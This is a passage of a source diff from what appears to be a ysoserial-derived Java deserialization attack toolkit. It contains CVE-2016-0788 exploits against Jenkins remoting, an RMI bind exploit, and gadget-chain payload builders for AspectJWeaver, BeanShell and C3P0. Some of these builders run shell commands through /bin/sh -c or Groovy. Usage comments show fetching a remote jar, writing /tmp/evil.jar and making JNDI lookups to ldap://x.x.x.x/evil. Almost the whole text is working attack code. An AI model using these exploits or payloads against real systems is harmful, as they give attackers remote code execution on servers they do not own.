Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
Reflections.setAccessible(reqCons);
Object getJarLoader = reqCons
.newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[]{
prop
});
return (Callable<?, ?>) getJarLoader;
}
public static InetSocketAddress getCliPort(String jenkinsUrl) throws MalformedURLException, IOException {
URL u = new URL(jenkinsUrl);
URLConnection conn = u.openConnection();
if (!(conn instanceof HttpURLConnection)) {
System.err.println("Not a HTTP URL");
throw new MalformedURLException();
}
HttpURLConnection hc = (HttpURLConnection) conn;
if (hc.getResponseCode() >= 400) {
System.err.println("* Error connection to jenkins HTTP " + u);
}
int clip = Integer.parseInt(hc.getHeaderField("X-Jenkins-CLI-Port"));
return new InetSocketAddress(u.getHost(), clip);
}
public static Channel openChannel(InetSocketAddress isa) throws IOException, SocketException {
System.err.println("* Opening socket " + isa);
Socket s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
s.setKeepAlive(true);
s.setTcpNoDelay(true);
System.err.println("* Opening channel");
OutputStream outputStream = s.getOutputStream();
DataOutputStream dos = new DataOutputStream(outputStream);
dos.writeUTF("Protocol:CLI-connect");
ExecutorService cp = Executors.newCachedThreadPool(new ThreadFactory() {
public Thread newThread(Runnable r) {
Thread t = new Thread(r, "Channel");
t.setDaemon(true);
return t;
}
});
Channel c = new ChannelBuilder("EXPLOIT", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream);
System.err.println("* Channel open");
return c;
}
}
@@ -0,0 +1,199 @@
package com.qi4l.JYso.exploit;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import com.qi4l.JYso.controllers.ysoserial;
import com.qi4l.JYso.gadgets.JRMPListener;
import com.qi4l.JYso.gadgets.utils.Reflections;
import hudson.remoting.Callable;
import hudson.remoting.Channel;
import hudson.remoting.JarLoader;
import sun.rmi.server.Util;
import sun.rmi.transport.TransportConstants;
import javax.net.SocketFactory;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.lang.reflect.*;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.rmi.activation.ActivationDesc;
import java.rmi.activation.ActivationID;
import java.rmi.activation.ActivationInstantiator;
/**
* CVE-2016-0788 exploit (1)
* <p>
* 1. delivers a org.su18.ysuserial.payloads.JRMPListener payload to jenkins via it's remoting protocol.
* 2. that payload causes the remote server to open up an JRMP listener (and export an object).
* 3. connect to that JRMP listener and deliver any otherwise blacklisted payload.
* <p>
* Extra twist:
* The well-known objects exported by the listener use the system classloader which usually
* won't contain the targeted classes. Therefor we need to get ahold of the exported object's id
* (which is using jenkins' classloader) that typically is properly randomized.
* Fortunately - for the exploiting party - there is also a gadget that allows to leak
* that identifier via an exception.
*
* @author mbechler
*/
@SuppressWarnings({
"rawtypes", "restriction"
})
public class JenkinsListener {
public static final void main(final String[] args) {
if (args.length < 5) {
System.err.println(JenkinsListener.class.getName() + " <jenkins_url> <args...> ");
System.exit(-1);
}
String jenkinsUrl = args[0];
int jrmpPort = 12345;
Channel c = null;
try {
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
c = JenkinsCLI.openChannel(isa);
Object call = c.call(JenkinsCLI.getPropertyCallable(JarLoader.class.getName() + ".ours"));
InvocationHandler remote = Proxy.getInvocationHandler(call);
int oid = Reflections.getField(Class.forName("hudson.remoting.RemoteInvocationHandler"), "oid").getInt(remote);
System.err.println("* JarLoader oid is " + oid);
Object uro = new JRMPListener().getObject(String.valueOf(jrmpPort));
Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
Object o = makeIsPresentOnRemoteCallable(oid, uro, reqClass);
try {
c.call((Callable<?, ?>) o);
} catch (Exception e) {
// [ActivationGroupImpl[UnicastServerRef [liveRef:
// [endpoint:[172.16.20.11:12345](local),objID:[de39d9c:15269e6d8bf:-7fc1,
// -9046794842107247609]]
System.err.println(e.getMessage());
parseObjIdAndExploit(args, jrmpPort, isa, e);
}
} catch (Throwable e) {
e.printStackTrace();
} finally {
if (c != null) {
try {
c.close();
} catch (IOException e) {
e.printStackTrace(System.err);
}
}
}
}
private static Object makeIsPresentOnRemoteCallable(int oid, Object uro, Class<?> reqClass)
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException {
Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
Reflections.setAccessible(reqCons);
return reqCons
.newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[]{
uro,
});
}
private static void parseObjIdAndExploit(final String[] args, int jrmpPort, InetSocketAddress isa, Exception e) throws Exception, IOException {
String msg = e.getMessage();
int start = msg.indexOf("objID:[");
if (start < 0) {
throw new Exception("Failed to get object id");
}
int sep = msg.indexOf(", ", start + 1);
if (sep < 0) {
throw new Exception("Failed to get object id, separator");
}
int end = msg.indexOf("]", sep + 1);
if (end < 0) {
throw new Exception("Failed to get object id, separator");
}
String uid = msg.substring(start + 7, sep);
String objNum = msg.substring(sep + 2, end);
System.err.println("* UID is " + uid);
System.err.println("* ObjNum is " + objNum);
String[] parts = uid.split(":");
long obj = Long.parseLong(objNum);
int o1 = Integer.parseInt(parts[0], 16);
long o2 = Long.parseLong(parts[1], 16);
short o3 = Short.parseShort(parts[2], 16);
exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, args);
}
private static void exploit(InetSocketAddress isa, long obj, int o1, long o2, short o3, String[] args)
throws IOException {
Socket s = null;
DataOutputStream dos = null;
try {
System.err.println("* Opening JRMP socket " + isa);
s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort());
s.setKeepAlive(true);
s.setTcpNoDelay(true);
OutputStream os = s.getOutputStream();
dos = new DataOutputStream(os);
dos.writeInt(TransportConstants.Magic);
dos.writeShort(TransportConstants.Version);
dos.writeByte(TransportConstants.SingleOpProtocol);
dos.write(TransportConstants.Call);
@SuppressWarnings("resource") final ObjectOutputStream objOut = new JRMPClient.MarshalOutputStream(dos);
objOut.writeLong(obj);
objOut.writeInt(o1);
objOut.writeLong(o2);
objOut.writeShort(o3);
objOut.writeInt(-1);
objOut.writeLong(Util.computeMethodHash(ActivationInstantiator.class.getMethod("newInstance", ActivationID.class, ActivationDesc.class)));
// 去除前两个参数
String[] newArray = new String[args.length - 2];
System.arraycopy(args, 2, newArray, 0, newArray.length);
ysoserial(newArray);
Object payloadObject = ysoserial.PAYLOAD;
objOut.writeObject(payloadObject);
os.flush();
} catch (Exception e) {
e.printStackTrace(System.err);
} finally {
if (dos != null) {
dos.close();
}
if (s != null) {
s.close();
}
}
}
}
@@ -0,0 +1,76 @@
package com.qi4l.JYso.exploit;
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
import com.qi4l.JYso.controllers.ysoserial;
import com.qi4l.JYso.gadgets.JRMPClient;
import hudson.remoting.Channel;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.rmi.registry.Registry;
import java.util.Random;
/**
* CVE-2016-0788 exploit (2)
* <p>
* - Sets up a local {@link JRMPListener}
* - Delivers a {@link com.qi4l.JYso.exploit.JRMPClient} payload via the CLI protocol
* that will cause the remote to open a JRMP connection to our listener
* - upon connection the specified payload will be delivered to the remote
* (that will deserialize using a default ObjectInputStream)
*
* @author mbechler
*/
public class JenkinsReverse {
public static final void main(final String[] args) throws Exception {
if (args.length < 4) {
System.err.println(JenkinsListener.class.getName() + " <jenkins_url> <local_addr> <args...>");
System.exit(-1);
}
// 去除前两个参数
String[] newArray = new String[args.length - 2];
System.arraycopy(args, 2, newArray, 0, newArray.length);
ysoserial(newArray);
final Object payloadObject = ysoserial.PAYLOAD;
String myAddr = args[1];
int jrmpPort = new Random().nextInt(65536 - 1024) + 1024;
String jenkinsUrl = args[0];
Thread t = null;
Channel c = null;
try {
InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl);
c = JenkinsCLI.openChannel(isa);
JRMPListener listener = new JRMPListener(jrmpPort, payloadObject);
t = new Thread(listener, "ReverseDGC");
t.setDaemon(true);
t.start();
Registry payload = (Registry) new JRMPClient().getObject(myAddr + ":" + jrmpPort);
c.call(JenkinsCLI.getPropertyCallable(payload));
listener.waitFor(1000);
listener.close();
} catch (Throwable e) {
e.printStackTrace();
} finally {
if (c != null) {
try {
c.close();
} catch (IOException e) {
e.printStackTrace(System.err);
}
}
if (t != null) {
t.interrupt();
try {
t.join();
} catch (InterruptedException e) {
e.printStackTrace(System.err);
}
}
}
}
}
@@ -0,0 +1,118 @@
package com.qi4l.JYso.exploit;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.security.auth.UnixPrincipal;
import sun.rmi.transport.StreamRemoteCall;
import sun.rmi.transport.tcp.TCPEndpoint;
import javax.management.remote.rmi.RMIConnection;
import javax.security.auth.Subject;
import java.io.IOException;
import java.io.ObjectInput;
import java.io.ObjectOutput;
import java.lang.reflect.Field;
import java.rmi.*;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteObject;
import java.rmi.server.RemoteRef;
import java.util.*;
/**
* @author su18
*/
public class RMIBindExploit {
public static void main(String[] args) throws Exception {
if (args.length < 4) {
System.err.println(JRMPClient.class.getName() + " <host> <registryPort> <command> <serviceName>");
System.exit(-1);
}
String host = args[0];
int registryPort = Integer.parseInt(args[1]);
String command = args[2];
String serviceName = args[3];
Registry registry = LocateRegistry.getRegistry(host, registryPort);
System.out.println(Arrays.toString(registry.list()));
Subject subject = new Subject();
Set set = new HashSet();
set.add(new UnixPrincipal(command));
Reflections.setFieldValue(subject, "principals", set);
RMIClient r = new RMIClient();
r.ref = (RemoteRef) Reflections.getFieldValue(registry, "ref");
r.ip = host;
System.out.println(((RMIConnection) r.lookup(serviceName)).getDefaultDomain(subject));
}
static class RMIClient extends RemoteObject {
private final Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")};
private RemoteRef ref = null;
private String ip = null;
public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
try {
StreamRemoteCall var2 = (StreamRemoteCall) this.ref.newCall(this, operations, 2, 4905912898345647071L);
try {
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1);
} catch (IOException var15) {
throw new MarshalException("error marshalling arguments", var15);
}
this.ref.invoke(var2);
Remote var20;
try {
ObjectInput var4 = var2.getInputStream();
var20 = (Remote) var4.readObject();
Field f = var2.getClass().getDeclaredField("in");
f.setAccessible(true);
Object conn = f.get(var2);
f = conn.getClass().getDeclaredField("incomingRefTable");
f.setAccessible(true);
HashMap rets = (HashMap) f.get(conn);
Map.Entry<TCPEndpoint, ArrayList> entry = (Map.Entry<TCPEndpoint, ArrayList>) rets.entrySet().iterator().next();
f = entry.getKey().getClass().getDeclaredField("host");
f.setAccessible(true);
f.set(entry.getKey(), this.ip);
} catch (Exception var13) {
// var2.discardPendingRefs();
throw new UnmarshalException("error unmarshalling return", var13);
} finally {
this.ref.done(var2);
}
return var20;
} catch (RuntimeException var16) {
throw var16;
} catch (RemoteException var17) {
throw var17;
} catch (NotBoundException var18) {
throw var18;
} catch (Exception var19) {
throw new UnexpectedException("undeclared checked exception", var19);
}
}
}
}
@@ -0,0 +1,100 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
/**
* Gadget chain:
* HashSet.readObject()
* HashMap.put()
* HashMap.hash()
* TiedMapEntry.hashCode()
* TiedMapEntry.getValue()
* LazyMap.get()
* SimpleCache$StorableCachingMap.put()
* SimpleCache$StorableCachingMap.writeToPath()
* FileOutputStream.write()
* <p>
* Usage:
* args = "<filename>;<base64 content>"
* Example:
* java -jar ysoserial.jar aspectjweaver "ahi.txt;YWhpaGloaQ=="
* <p>
* More information:
* https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
@Authors({Authors.JANG})
public class AspectJWeaver implements ObjectPayload<Serializable> {
public Serializable getObject(String command) throws Exception {
int sep = command.lastIndexOf(':');
if (sep < 0) {
throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
}
String[] parts = command.split(":");
String filename = parts[0];
byte[] content = Base64.decodeBase64(parts[1]);
Constructor<?> ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Object simpleCache = ctor.newInstance(".", 12);
Transformer ct = new ConstantTransformer(content);
Map lazyMap = LazyMap.decorate((Map) simpleCache, ct);
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
HashSet map = new HashSet(1);
map.add("QI4L");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
Field f2;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if (node == null) {
node = array[1];
}
Field keyField;
try {
keyField = node.getClass().getDeclaredField("key");
} catch (Exception e) {
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, entry);
return map;
}
}
@@ -0,0 +1,89 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.collections.Factory;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantFactory;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
/**
* 使用 ConstantFactory + FactoryTransformer 替换 ConstantTransformer,避免,类似本项目中的 CC10
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
@Authors({Authors.QI4L})
public class AspectJWeaver2 implements ObjectPayload<Serializable> {
@Override
public Serializable getObject(String command) throws Exception {
int sep = command.lastIndexOf(';');
if (sep < 0) {
throw new IllegalArgumentException("Command format is: <filename>;<base64 Object>");
}
String[] parts = command.split(";");
String filename = parts[0];
byte[] content = Base64.decodeBase64(parts[1]);
Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Object simpleCache = ctor.newInstance(".", 12);
Factory ft = new ConstantFactory(content);
Transformer ct = new FactoryTransformer(ft);
Map lazyMap = LazyMap.decorate((Map) simpleCache, ct);
TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
HashSet map = new HashSet(1);
map.add("QI4L");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if (node == null) {
node = array[1];
}
Field keyField = null;
try {
keyField = node.getClass().getDeclaredField("key");
} catch (Exception e) {
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, entry);
return map;
}
}
@@ -0,0 +1,37 @@
package com.qi4l.JYso.gadgets;
import bsh.Interpreter;
import bsh.XThis;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.beanshell.BeanShellUtil;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Comparator;
import java.util.PriorityQueue;
/**
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"org.beanshell:bsh:2.0b5"})
@Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711})
public class BeanShell1 implements ObjectPayload<PriorityQueue> {
public PriorityQueue getObject(String command) throws Exception {
String payload = BeanShellUtil.makeBeanShellPayload(command);
Interpreter i = new Interpreter();
i.eval(payload);
XThis xt = new XThis(i.getNameSpace(), i);
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
Comparator<? super Object> comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);
PriorityQueue<Object> priorityQueue = new PriorityQueue(2, comparator);
Object[] queue = {Integer.valueOf(1), Integer.valueOf(1)};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", Integer.valueOf(2));
return priorityQueue;
}
}
@@ -0,0 +1,50 @@
package com.qi4l.JYso.gadgets;
import bsh.Interpreter;
import bsh.NameSpace;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.beanshell.BeanShellUtil;
import java.lang.reflect.*;
import java.util.Comparator;
import java.util.PriorityQueue;
/**
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"org.beanshell:bsh:2.0b1"})
@Authors({Authors.KILLER})
public class BeanShell2 implements ObjectPayload<PriorityQueue> {
public PriorityQueue getObject(String command) throws Exception {
String payload = BeanShellUtil.makeBeanShellPayload(command);
Interpreter i = new Interpreter();
Method setu = i.getClass().getDeclaredMethod("setu", String.class, Object.class);
setu.setAccessible(true);
setu.invoke(i, "bsh.cwd", ".");
i.eval(payload);
Class<?> xthis = Class.forName("bsh.XThis");
Field handlerField = xthis.getDeclaredField("invocationHandler");
handlerField.setAccessible(true);
Constructor<?> xthisDeclaredConstructor = xthis.getDeclaredConstructor(NameSpace.class, Interpreter.class);
xthisDeclaredConstructor.setAccessible(true);
Object xt = xthisDeclaredConstructor.newInstance(i.getNameSpace(), i);
handlerField.setAccessible(true);
InvocationHandler handler = (InvocationHandler) handlerField.get(xt);
Comparator<? super Object> comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler);
PriorityQueue<Object> queue = new PriorityQueue(2);
queue.add("1");
queue.add("2");
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue, comparator);
return queue;
}
}
@@ -0,0 +1,13 @@
package com.qi4l.JYso.gadgets;
import java.net.URI;
public class BindingEnumeration implements ObjectPayload<Object>{
@Override
public Object getObject(String command) throws Exception {
UtilFactory uf = new UtilFactory();
URI uri = new URI(command);
String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
return uf.makeIteratorTrigger(JDKUtil.adaptEnumerationToIterator(JDKUtil.makeBindingEnumeration(args[ 0 ], args[ 1 ])));
}
}
@@ -0,0 +1,94 @@
package com.qi4l.JYso.gadgets;
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.PrintWriter;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
/**
* com.sun.jndi.rmi.registry.RegistryContext->lookup
* com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
* com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject
* <p>
* Arguments:
* - base_url:classname
* <p>
* Yields:
* - Instantiation of remotely loaded class
*
* @author mbechler
*/
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11"})
@Authors({Authors.MBECHLER})
public class C3P0 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
int sep = command.lastIndexOf(':');
if (sep < 0) {
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
}
String url = command.substring(0, sep);
String className = command.substring(sep + 1);
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
return b;
}
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private final String className;
private final String url;
public PoolSource(String className, String url) {
this.className = className;
this.url = url;
}
public Reference getReference() throws NamingException {
return new Reference("exploit", this.className, this.url);
}
public PrintWriter getLogWriter() throws SQLException {
return null;
}
public void setLogWriter(PrintWriter out) throws SQLException {
}
public int getLoginTimeout() throws SQLException {
return 0;
}
public void setLoginTimeout(int seconds) throws SQLException {
}
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
}
}
@@ -0,0 +1,86 @@
package com.qi4l.JYso.gadgets;
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.PrintWriter;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
import static com.qi4l.JYso.gadgets.utils.Utils.getJSEngineValue;
import static com.qi4l.JYso.gadgets.utils.handle.GlassHandler.generateClass;
/**
* C3P02 通过Tomcat 的 getObjectInstance 方法调用 ELProcessor 的 eval 方法实现表达式注入
*/
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35"})
@Authors({Authors.QI4L})
public class C3P02 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
if (command.startsWith("EX-") || command.startsWith("LF-")) {
command = getJSEngineValue(generateClass(command).toBytecode()).replace("\"", "\\\"");
} else {
command = "new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','" + command + "']).start()";
}
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(command));
return b;
}
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private final String cmd;
public PoolSource(String cmd) {
this.cmd = cmd;
}
public Reference getReference() throws NamingException {
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "QI4L=eval"));
ref.add(new StringRefAddr("QI4L", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','" + cmd + "']).start()\")"));
return ref;
}
public PrintWriter getLogWriter() throws SQLException {
return null;
}
public void setLogWriter(PrintWriter out) throws SQLException {
}
public int getLoginTimeout() throws SQLException {
return 0;
}
public void setLoginTimeout(int seconds) throws SQLException {
}
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
}
}
@@ -0,0 +1,79 @@
package com.qi4l.JYso.gadgets;
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.PrintWriter;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
/**
* 同 C3P0 2 只不过使用了 Groovy
*/
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35", "org.codehaus.groovy:groovy:2.3.9"})
@Authors({Authors.QI4L})
public class C3P03 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(command));
return b;
}
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private final String cmd;
public PoolSource(String cmd) {
this.cmd = cmd;
}
public Reference getReference() throws NamingException {
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "QI4L=evaluate"));
ref.add(new StringRefAddr("QI4L", "'" + cmd + "'.execute()"));
return ref;
}
public PrintWriter getLogWriter() throws SQLException {
return null;
}
public void setLogWriter(PrintWriter out) throws SQLException {
}
public int getLoginTimeout() throws SQLException {
return 0;
}
public void setLoginTimeout(int seconds) throws SQLException {
}
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
}
}
@@ -0,0 +1,157 @@
package com.qi4l.JYso.gadgets;
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.HexUtils;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.SnakeYamlUtils;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.IOException;
import java.io.PrintWriter;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
/**
* 同上 只不过使用了 snakeyaml
* 加了一些常见的 Gadget,有点套娃的感觉了
* <p>
* 用法:
* 远程加载 Jar 包
* C3P04 'remoteJar-http://1.1.1.1.com/1.jar'
* <p>
* 向服务器写入 Jar 包并加载(不出网)
* C3P04 'writeJar-/tmp/evil.jar:./yaml.jar'
* C3P04 'localJar-./yaml.jar'
* <p>
* C3P0 二次反序列化
* C3P04 'c3p0Double-/usr/CC6.ser'
* <p>
* C3P0 JNDI 以及 JdbcRowSetImpl JNDI
* C3P04 'c3p0Jndi-ldap://x.x.x.x/evil'
* C3P04 'jndi-ldap://x.x.x.x/evil'
*/
@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35", "org.yaml:snakeyaml:1.30"})
@Authors({Authors.QI4L})
public class C3P04 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
int sep = command.lastIndexOf('-');
if (sep < 0) {
throw new IllegalArgumentException("Command format is: <type>:<cmd>");
}
String[] parts = command.split("-");
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(parts[0], parts[1]));
return b;
}
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private final String cmd;
private final String type;
public PoolSource(String type, String cmd) {
this.type = type;
this.cmd = cmd;
}
public Reference getReference() throws NamingException {
String yaml = "";
switch (type) {
